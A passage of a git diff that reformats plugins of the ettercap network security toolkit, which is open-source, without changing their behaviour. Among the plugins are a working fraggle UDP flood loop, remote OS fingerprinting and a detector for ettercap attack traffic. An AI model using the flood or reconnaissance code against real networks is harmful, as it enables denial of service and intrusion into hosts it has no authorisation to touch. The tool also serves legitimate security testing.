suspended until its return. - * + * * you can create a thread and return immediately * and then kill it in the fini function. * @@ -86,9 +84,9 @@ static int dummy_init(void *dummy) * hook_add(), in this case you have to set the * plugin type to PL_HOOK. */ - + /* variable not used - avoid extended warning */ - (void) dummy; + (void)dummy; USER_MSG("DUMMY: plugin running...\n"); @@ -101,24 +99,21 @@ static int dummy_init(void *dummy) return PLUGIN_RUNNING; } - -static int dummy_fini(void *dummy) +static int dummy_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; - /* + /* * called to terminate a plugin. - * usually to kill threads created in the - * init function or to remove hook added + * usually to kill threads created in the + * init function or to remove hook added * previously. */ USER_MSG("DUMMY: plugin finalization\n"); return PLUGIN_FINISHED; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/find_conn/find_conn.c b/plug-ins/find_conn/find_conn.c index 732d47608..d549c2e4b 100644 --- a/plug-ins/find_conn/find_conn.c +++ b/plug-ins/find_conn/find_conn.c @@ -1,24 +1,23 @@ /* - find_conn -- ettercap plugin -- Search connections on a switched LAN - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * find_conn -- ettercap plugin -- Search connections on a switched LAN + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -34,47 +33,46 @@ static void parse_arp(struct packet_object *po); /* plugin operations */ -struct plugin_ops find_conn_ops = { +struct plugin_ops find_conn_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "find_conn", - /* a short description of the plugin (max 50 chars) */ - .info = "Search connections on a switched LAN", - /* the plugin version. */ - .version = "1.0", + .name = "find_conn", + /* a short description of the plugin (max 50 chars) */ + .info = "Search connections on a switched LAN", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &find_conn_init, - /* deactivation function */ - .fini = &find_conn_fini, + .init = &find_conn_init, + /* deactivation function */ + .fini = &find_conn_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &find_conn_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int find_conn_init(void *dummy) +static int find_conn_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("find_conn: plugin running...\n"); - + hook_add(HOOK_PACKET_ARP_RQ, &parse_arp); - return PLUGIN_RUNNING; + return PLUGIN_RUNNING; } - -static int find_conn_fini(void *dummy) +static int find_conn_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; USER_MSG("find_conn: plugin terminated...\n"); @@ -89,11 +87,10 @@ static void parse_arp(struct packet_object *po) { char tmp1[MAX_ASCII_ADDR_LEN]; char tmp2[MAX_ASCII_ADDR_LEN]; - + USER_MSG("find_conn: Probable connection attempt %s -> %s\n", ip_addr_ntoa(&po->L3.src, tmp1), ip_addr_ntoa(&po->L3.dst, tmp2)); } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/find_ettercap/find_ettercap.c b/plug-ins/find_ettercap/find_ettercap.c index 644d053f0..fb31b6d36 100644 --- a/plug-ins/find_ettercap/find_ettercap.c +++ b/plug-ins/find_ettercap/find_ettercap.c @@ -1,24 +1,23 @@ /* - find_ettercap -- ettercap plugin -- Try to discover ettercap activity on the lan - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * find_ettercap -- ettercap plugin -- Try to discover ettercap activity on the lan + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -41,49 +40,48 @@ static void parse_tcp(struct packet_object *po); /* plugin operations */ -struct plugin_ops find_ettercap_ops = { +struct plugin_ops find_ettercap_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "find_ettercap", - /* a short description of the plugin (max 50 chars) */ - .info = "Try to find ettercap activity", - /* the plugin version. */ - .version = "2.0", + .name = "find_ettercap", + /* a short description of the plugin (max 50 chars) */ + .info = "Try to find ettercap activity", + /* the plugin version. */ + .version = "2.0", /* activation function */ - .init = &find_ettercap_init, - /* deactivation function */ - .fini = &find_ettercap_fini, + .init = &find_ettercap_init, + /* deactivation function */ + .fini = &find_ettercap_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &find_ettercap_ops); } /*********************************************************/ -static int find_ettercap_init(void *dummy) +static int find_ettercap_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* add the hook in the dissector. */ hook_add(HOOK_PACKET_IP, &parse_ip); hook_add(HOOK_PACKET_ICMP, &parse_icmp); hook_add(HOOK_PACKET_TCP, &parse_tcp); - + return PLUGIN_RUNNING; } - -static int find_ettercap_fini(void *dummy) +static int find_ettercap_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* remove the hook */ hook_del(HOOK_PACKET_IP, &parse_ip); @@ -93,7 +91,7 @@ static int find_ettercap_fini(void *dummy) return PLUGIN_FINISHED; } -/* +/* * parse the packet for ettercap traces */ static void parse_ip(struct packet_object *po) @@ -106,28 +104,26 @@ static void parse_ip(struct packet_object *po) if (ntohs(ip->ip_id) == EC_MAGIC_16) USER_MSG("ettercap traces (ip) from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); - + if (ntohs(ip->ip_id) == 0xbadc) USER_MSG("ettercap plugin (banshee) is killing from %s to %s...\n", ip_addr_ntoa(&po->L3.src, tmp), ip_addr_ntoa(&po->L3.dst, tmp2)); - } -/* +/* * parse the packet for ettercap traces */ static void parse_icmp(struct packet_object *po) { struct libnet_icmpv4_hdr *icmp; char tmp[MAX_ASCII_ADDR_LEN]; - + icmp = (struct libnet_icmpv4_hdr *)po->L4.header; if (ntohs(icmp->hun.echo.id) == EC_MAGIC_16 && ntohs(icmp->hun.echo.seq) == EC_MAGIC_16) USER_MSG("ettercap traces (icmp) from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); - } -/* +/* * parse the packet for ettercap traces */ static void parse_tcp(struct packet_object *po) @@ -137,28 +133,26 @@ static void parse_tcp(struct packet_object *po) char tmp2[MAX_ASCII_ADDR_LEN]; tcp = (struct libnet_tcp_hdr *)po->L4.header; - + switch (ntohl(tcp->th_seq)) { - case EC_MAGIC_16: - USER_MSG("ettercap traces (tcp) from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); - break; - case 6969: - USER_MSG("ettercap plugin (shadow) is scanning from %s to %s:%d...\n", ip_addr_ntoa(&po->L3.src, tmp), ip_addr_ntoa(&po->L3.dst, tmp2), ntohs(po->L4.dst)); - break; - case 0xabadc0de: - if (ntohl(tcp->th_ack) == 0xabadc0de) - USER_MSG("ettercap plugin (spectre) is flooding the lan.\n"); - else - USER_MSG("ettercap plugin (golem) is DOSing from %s to %s...\n", ip_addr_ntoa(&po->L3.src, tmp), ip_addr_ntoa(&po->L3.dst, tmp2)); - break; + case EC_MAGIC_16: + USER_MSG("ettercap traces (tcp) from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); + break; + case 6969: + USER_MSG("ettercap plugin (shadow) is scanning from %s to %s:%d...\n", ip_addr_ntoa(&po->L3.src, tmp), ip_addr_ntoa(&po->L3.dst, tmp2), ntohs(po->L4.dst)); + break; + case 0xabadc0de: + if (ntohl(tcp->th_ack) == 0xabadc0de) + USER_MSG("ettercap plugin (spectre) is flooding the lan.\n"); + else + USER_MSG("ettercap plugin (golem) is DOSing from %s to %s...\n", ip_addr_ntoa(&po->L3.src, tmp), ip_addr_ntoa(&po->L3.dst, tmp2)); + break; } - if (ntohs(tcp->th_sport) == EC_MAGIC_16 && (tcp->th_flags & TH_SYN) ) + if (ntohs(tcp->th_sport) == EC_MAGIC_16 && (tcp->th_flags & TH_SYN)) USER_MSG("ettercap NG plugin (gw_discover) is trying to discover the gateway from %s...\n", ip_addr_ntoa(&po->L3.src, tmp)); - } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/find_ip/find_ip.c b/plug-ins/find_ip/find_ip.c index 00884060d..68fa8c89c 100644 --- a/plug-ins/find_ip/find_ip.c +++ b/plug-ins/find_ip/find_ip.c @@ -1,29 +1,27 @@ /* - find_ip -- ettercap plugin -- Search an unused IP address in the subnet - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * find_ip -- ettercap plugin -- Search an unused IP address in the subnet + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ - /* protos */ int plugin_load(void *); static int find_ip_init(void *); @@ -34,45 +32,45 @@ static struct ip_addr *search_targets(void); /* plugin operations */ -struct plugin_ops find_ip_ops = { +struct plugin_ops find_ip_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "find_ip", - /* a short description of the plugin (max 50 chars) */ - .info = "Search an unused IP address in the subnet", - /* the plugin version. */ - .version = "1.0", + .name = "find_ip", + /* a short description of the plugin (max 50 chars) */ + .info = "Search an unused IP address in the subnet", + /* the plugin version. */ + .version = "1.0", /* activation function */ - .init = &find_ip_init, - /* deactivation function */ - .fini = &find_ip_fini, + .init = &find_ip_init, + /* deactivation function */ + .fini = &find_ip_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &find_ip_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int find_ip_init(void *dummy) +static int find_ip_init(void *dummy) { - + char tmp[MAX_ASCII_ADDR_LEN]; struct ip_addr *e; - + /* variable not used */ - (void) dummy; + (void)dummy; /* don't show packets while operating */ GBL_OPTIONS->quiet = 1; - + if (LIST_EMPTY(&GBL_HOSTLIST)) { - INSTANT_USER_MSG("find_ip: You have to build host-list to run this plugin.\n\n"); + INSTANT_USER_MSG("find_ip: You have to build host-list to run this plugin.\n\n"); return PLUGIN_FINISHED; } @@ -83,20 +81,19 @@ static int find_ip_init(void *dummy) e = search_netmask(); else e = search_targets(); - - if (e == NULL) + + if (e == NULL) INSTANT_USER_MSG("find_ip: No free IP address in this range :(\n"); else INSTANT_USER_MSG("find_ip: %s seems to be unused\n", ip_addr_ntoa(e, tmp)); - + return PLUGIN_FINISHED; } - -static int find_ip_fini(void *dummy) +static int find_ip_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; return PLUGIN_FINISHED; } @@ -104,7 +101,7 @@ static int find_ip_fini(void *dummy) /*********************************************************/ /* Check if the IP is in the host list */ -static int in_list(struct ip_addr *scanip) +static int in_list(struct ip_addr *scanip) { struct hosts_list *h; @@ -116,7 +113,6 @@ static int in_list(struct ip_addr *scanip) return 0; } - /* Find first free IP address in the netmask */ static struct ip_addr *search_netmask(void) { @@ -126,42 +122,40 @@ static struct ip_addr *search_netmask(void) netmask = *GBL_IFACE->netmask.addr32; myip = *GBL_IFACE->ip.addr32; - + /* the number of hosts in this netmask */ nhosts = ntohl(~netmask); - + /* scan the netmask */ for (i = 1; i <= nhosts; i++) { /* calculate the ip */ current = (myip & netmask) | htonl(i); ip_addr_init(&scanip, AF_INET, (u_char *)¤t); if (!in_list(&scanip)) - return(&scanip); + return &scanip; } - + return NULL; } - /* Find first free IP address in the user range */ static struct ip_addr *search_targets(void) { struct ip_list *i; - + LIST_FOREACH(i, &GBL_TARGET1->ips, next) { if (!in_list(&i->ip)) - return(&i->ip); + return &i->ip; } LIST_FOREACH(i, &GBL_TARGET2->ips, next) { if (!in_list(&i->ip)) - return(&i->ip); + return &i->ip; } - + return NULL; } /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/finger/finger.c b/plug-ins/finger/finger.c index 7a6918051..829053c81 100644 --- a/plug-ins/finger/finger.c +++ b/plug-ins/finger/finger.c @@ -1,26 +1,25 @@ /* - finger -- ettercap plugin -- fingerprint a remote host. - - it sends a syn to an open port and collect the passive ACK fingerprint. - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * finger -- ettercap plugin -- fingerprint a remote host. + * + * it sends a syn to an open port and collect the passive ACK fingerprint. + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -51,44 +50,44 @@ static void do_fingerprint(void); /* plugin operations */ -struct plugin_ops finger_ops = { +struct plugin_ops finger_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "finger", - /* a short description of the plugin (max 50 chars) */ - .info = "Fingerprint a remote host", - /* the plugin version. */ - .version = "1.6", + .name = "finger", + /* a short description of the plugin (max 50 chars) */ + .info = "Fingerprint a remote host", + /* the plugin version. */ + .version = "1.6", /* activation function */ - .init = &finger_init, - /* deactivation function */ - .fini = &finger_fini, + .init = &finger_init, + /* deactivation function */ + .fini = &finger_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &finger_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int finger_init(void *dummy) +static int finger_init(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; /* don't show packets while operating */ GBL_OPTIONS->quiet = 1; - + /* wipe the global vars */ memset(&ip, 0, sizeof(struct ip_addr)); port = 0; - /* + /* * can we use GBL_TARGETS ? * else ask the user */ @@ -96,15 +95,15 @@ static int finger_init(void *dummy) /* get the target from user */ if (get_user_target(&ip, &port) == E_SUCCESS) { /* do the actual finterprinting */ - do_fingerprint(); + do_fingerprint(); } } else { struct ip_list *host; - - /* look over all the hosts in the TARGET */ + + /* look over all the hosts in the TARGET */ LIST_FOREACH(host, &GBL_TARGET1->ips, next) { - /* - * copy the ip address + /* + * copy the ip address * the port was alread retrived by good_target() */ memcpy(&ip, &host->ip, sizeof(struct ip_addr)); @@ -117,17 +116,15 @@ static int finger_init(void *dummy) } } } - } - + return PLUGIN_FINISHED; } - -static int finger_fini(void *dummy) +static int finger_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; return PLUGIN_FINISHED; } @@ -135,14 +132,14 @@ static int finger_fini(void *dummy) /*********************************************************/ /* - * sends a SYN to a specified port and collect the - * passive fingerprint for that host + * sends a SYN to a specified port and collect the + * passive fingerprint for that host */ static void get_finger(struct packet_object *po) { - + /* check that the source is our host and the fingerprint was collecter */ - if (!ip_addr_cmp(&ip, &po->L3.src) && strcmp(po->PASSIVE.fingerprint, "")) + if (!ip_addr_cmp(&ip, &po->L3.src) && strcmp(po->PASSIVE.fingerprint, "")) memcpy(fingerprint, &po->PASSIVE.fingerprint, FINGER_LEN); } @@ -152,46 +149,45 @@ static void get_finger(struct packet_object *po) static int good_target(struct ip_addr *p_ip, u_int16 *p_port) { struct ip_list *host; - + /* is it possible to get it from GBL_TARGETS ? */ if ((host = LIST_FIRST(&GBL_TARGET1->ips)) != NULL) { - + /* copy the ip address */ memcpy(p_ip, &host->ip, sizeof(struct ip_addr)); - + /* find the port */ for (*p_port = 0; *p_port < 0xffff; (*p_port)++) { if (BIT_TEST(GBL_TARGET1->ports, *p_port)) { break; } } - + /* port was found */ if (*p_port != 0xffff) return E_SUCCESS; } - + return -E_NOTFOUND; } - -/* - * get the target from user input +/* + * get the target from user input */ static int get_user_target(struct ip_addr *p_ip, u_int16 *p_port) { - char input[MAX_ASCII_ADDR_LEN+1+5+1]; + char input[MAX_ASCII_ADDR_LEN + 1 + 5 + 1]; char ipstr[MAX_ASCII_ADDR_LEN]; memset(input, 0, sizeof(input)); - + /* get the user input */ ui_input("Insert ip:port : ", input, sizeof(input), NULL); /* no input was entered */ if (strlen(input) == 0) return -E_INVALID; - + /* get the hostname */ if (ec_strsplit_ipport(input, ipstr, p_port)) return -E_INVALID; @@ -207,7 +203,6 @@ static int get_user_target(struct ip_addr *p_ip, u_int16 *p_port) return -E_INVALID; } - /* * fingerprint the host */ @@ -216,28 +211,28 @@ static void do_fingerprint(void) char tmp[MAX_ASCII_ADDR_LEN]; char os[OS_LEN + 1]; int fd; - + /* clear the buffer */ memset(fingerprint, 0, sizeof(fingerprint)); - + /* convert the in ascii ip address */ ip_addr_ntoa(&ip, tmp); - /* - * add the hook to collect tcp SYN+ACK packets from + /* + * add the hook to collect tcp SYN+ACK packets from * the target and extract the passive fingerprint */ hook_add(HOOK_PACKET_TCP, &get_finger); - + INSTANT_USER_MSG("Fingerprinting %s:%d...\n", tmp, port); - - /* + + /* * open the connection and close it immediately. * this ensure that a SYN will be sent to the port */ if ((fd = open_socket(tmp, port)) < 0) return; - + /* close the socket */ close_socket(fd); @@ -250,7 +245,7 @@ static void do_fingerprint(void) /* no fingerprint collected */ if (!strcmp(fingerprint, "")) return; - + INSTANT_USER_MSG("\n FINGERPRINT : %s\n", fingerprint); /* decode the finterprint */ @@ -259,11 +254,9 @@ static void do_fingerprint(void) else { INSTANT_USER_MSG(" OPERATING SYSTEM : unknown fingerprint (please submit it) \n"); INSTANT_USER_MSG(" NEAREST ONE IS : %s \n\n", os); - } + } } - /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/finger_submit/finger_submit.c b/plug-ins/finger_submit/finger_submit.c index a73efa4d2..354b31e2c 100644 --- a/plug-ins/finger_submit/finger_submit.c +++ b/plug-ins/finger_submit/finger_submit.c @@ -1,24 +1,23 @@ /* - finger_submit -- ettercap plugin -- submit a fingerprint to ettercap website - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * finger_submit -- ettercap plugin -- submit a fingerprint to ettercap website + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -29,67 +28,65 @@ /* globals */ - /* protos */ int plugin_load(void *); static int finger_submit_init(void *); static int finger_submit_fini(void *); - /* plugin operations */ -struct plugin_ops finger_submit_ops = { +struct plugin_ops finger_submit_ops = { /* ettercap version MUST be the global EC_VERSION */ - .ettercap_version = EC_VERSION, + .ettercap_version = EC_VERSION, /* the name of the plugin */ - .name = "finger_submit", - /* a short description of the plugin (max 50 chars) */ - .info = "Submit a fingerprint to ettercap's website", + .name = "finger_submit", + /* a short description of the plugin (max 50 chars) */ + .info = "Submit a fingerprint to ettercap's website", /* the plugin version. */ - .version = "1.0", + .version = "1.0", /* activation function */ - .init = &finger_submit_init, - /* deactivation function */ - .fini = &finger_submit_fini, + .init = &finger_submit_init, + /* deactivation function */ + .fini = &finger_submit_fini, }; /**********************************************************/ /* this function is called on plugin load */ -int plugin_load(void *handle) +int plugin_load(void *handle) { return plugin_register(handle, &finger_submit_ops); } /******************* STANDARD FUNCTIONS *******************/ -static int finger_submit_init(void *dummy) +static int finger_submit_init(void *dummy) { char finger[FINGER_LEN + 1]; char os[OS_LEN + 1]; - + /* variable not used */ - (void) dummy; + (void)dummy; /* don't display messages while operating */ GBL_OPTIONS->quiet = 1; - + memset(finger, 0, sizeof(finger)); memset(os, 0, sizeof(finger)); - + /* get the user input */ ui_input("Fingerprint ('quit' to exit) : ", finger, sizeof(finger), NULL); - + /* exit on user request */ if (!strcasecmp(finger, "quit") || !strcmp(finger, "")) return PLUGIN_FINISHED; - + ui_input("Operating System ('quit' to exit) : ", os, sizeof(os), NULL); /* exit on user request */ if (!strcasecmp(os, "quit") || !strcmp(os, "")) return PLUGIN_FINISHED; - + USER_MSG("\n"); /* send the fingerprint */ @@ -97,21 +94,18 @@ static int finger_submit_init(void *dummy) /* flush all the messages */ ui_msg_flush(MSG_ALL); - + return PLUGIN_FINISHED; } - -static int finger_submit_fini(void *dummy) +static int finger_submit_fini(void *dummy) { /* variable not used */ - (void) dummy; + (void)dummy; return PLUGIN_FINISHED; } - /* EOF */ // vim:ts=3:expandtab - diff --git a/plug-ins/fraggle_attack/fraggle_attack.c b/plug-ins/fraggle_attack/fraggle_attack.c index edbb25b11..bbbb9c931 100644 --- a/plug-ins/fraggle_attack/fraggle_attack.c +++ b/plug-ins/fraggle_attack/fraggle_attack.c @@ -1,5 +1,5 @@ /* - * Copyright (c) Ettercap Dev. Team + * Copyright (c) Ettercap Dev. Team * * The fraggle attack plugin for ettercap. * @@ -14,8 +14,8 @@ #include #include -#define UDP_PORT_7 7 //udp echo -#define UDP_PORT_19 19 //udp chargen +#define UDP_PORT_7 7 // udp echo +#define UDP_PORT_19 19 // udp chargen /* prototypes */ int plugin_load(void *); @@ -25,15 +25,14 @@ static EC_THREAD_FUNC(fraggler); /* globals */ struct plugin_ops fraggle_attack_ops = { - .ettercap_version = EC_VERSION, - .name = "fraggle_attack", - .info = "Run a fraggle attack against hosts of target one", - .version = "1.0", - .init = &fraggle_attack_init, - .fini = &fraggle_attack_fini, + .ettercap_version = EC_VERSION, + .name = "fraggle_attack", + .info = "Run a fraggle attack against hosts of target one", + .version = "1.0", + .init = &fraggle_attack_init, + .fini = &fraggle_attack_fini, }; - int plugin_load(void *handle) { return plugin_register(handle, &fraggle_attack_ops); @@ -44,21 +43,21 @@ static int fraggle_attack_init(void *dummy) struct ip_list *i; /* variable not used */ - (void) dummy; + (void)dummy; DEBUG_MSG("fraggle_attack_init"); - if(GBL_OPTIONS->unoffensive) { + if (GBL_OPTIONS->unoffensive) { INSTANT_USER_MSG("fraggle_attack: plugin doesn't work in unoffensive mode.\n"); return PLUGIN_FINISHED; } - if(GBL_TARGET1->all_ip && GBL_TARGET1->all_ip6) { + if (GBL_TARGET1->all_ip && GBL_TARGET1->all_ip6) { USER_MSG("Add at least one host to target one list.\n"); return PLUGIN_FINISHED; } - if(LIST_EMPTY(&GBL_HOSTLIST)) { + if (LIST_EMPTY(&GBL_HOSTLIST)) { USER_MSG("Global host list is empty.\n"); return PLUGIN_FINISHED; } @@ -84,11 +83,11 @@ static int fraggle_attack_fini(void *dummy) pthread_t pid; /* variable not used */ - (void) dummy; + (void)dummy; DEBUG_MSG("fraggle_attack_fini"); - while(!pthread_equal(EC_PTHREAD_NULL, pid = ec_thread_getpid("fraggler"))) { + while (!pthread_equal(EC_PTHREAD_NULL, pid = ec_thread_getpid("fraggler"))) { ec_thread_destroy(pid); } @@ -110,24 +109,24 @@ static EC_THREAD_FUNC(fraggler) ip = EC_THREAD_PARAM; proto = ntohs(ip->addr_type); - port_echo= htons(UDP_PORT_7); - port_chargen= htons(UDP_PORT_19); + port_echo = htons(UDP_PORT_7); + port_chargen = htons(UDP_PORT_19); memset(payload, 0, sizeof(payload)); - length= (size_t) sizeof(payload); + length = (size_t)sizeof(payload); - if((proto != AF_INET) && (proto != AF_INET6)) - ec_thread_destroy(EC_PTHREAD_SELF); + if ((proto != AF_INET) && (proto != AF_INET6)) + ec_thread_destroy(EC_PTHREAD_SELF); LOOP { CANCELLATION_POINT(); LIST_FOREACH_SAFE(h, &GBL_HOSTLIST, next, htmp) - if(ntohs(h->ip.addr_type) == proto) { - send_udp(ip, &h->ip, h->mac, port_echo, port_echo, payload, length); - send_udp(ip, &h->ip, h->mac, port_chargen, port_chargen, payload, length); - } + if (ntohs(h->ip.addr_type) == proto) { + send_udp(ip, &h->ip, h->mac, port_echo, port_echo, payload, length); + send_udp(ip, &h->ip, h->mac, port_chargen, port_chargen, payload, length); + } - ec_usleep(1000*1000/GBL_CONF->sampling_rate); + ec_usleep(1000 * 1000 / GBL_CONF->sampling_rate); } return NULL; diff --git a/plug-ins/gre_relay/gre_relay.c b/plug-ins/gre_relay/gre_relay.c index 537897cbb..f8abe6b5e 100644 --- a/plug-ins/gre_relay/gre_relay.c +++ b/plug-ins/gre_relay/gre_relay.c @@ -1,24 +1,23 @@ /* - gre_relay -- ettercap plugin -- Tunnel broker for redirected GRE tunnels - - Copyright (C) ALoR & NaGA - - This program is free software; you can redistribute it and/or modify - it under the terms of the GNU General Public License as published by - the Free Software Foundation; either version 2 of the License, or - (at your option) any later version. - - This program is distributed in the hope that it will be useful, - but WITHOUT ANY WARRANTY; without even the implied warranty of - MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - GNU General Public License for more details. - - You should have received a copy of the GNU General Public License - along with this program; if not, write to the Free Software - Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. - -*/ - + * gre_relay -- ettercap plugin -- Tunnel broker for redirected GRE tunnels + * + * Copyright (C) ALoR & NaGA + * + * This program is free software; you can redistribute it and/or modify + * it under the terms of the GNU General Public License as published by + * the Free Software Foundation; either version 2 of the License, or + * (at your option) any later version. + * + * This program is distributed in the hope that it will be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write to the Free Software + * Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA 02111-1307, USA. + * + */ #include /* required for global variables */ #include /* required for plugin ops */ @@ -28,44 +27,43 @@ struct ip_header { #ifndef WORDS_BIGENDIAN - u_int8 ihl:4; - u_int8 version:4; 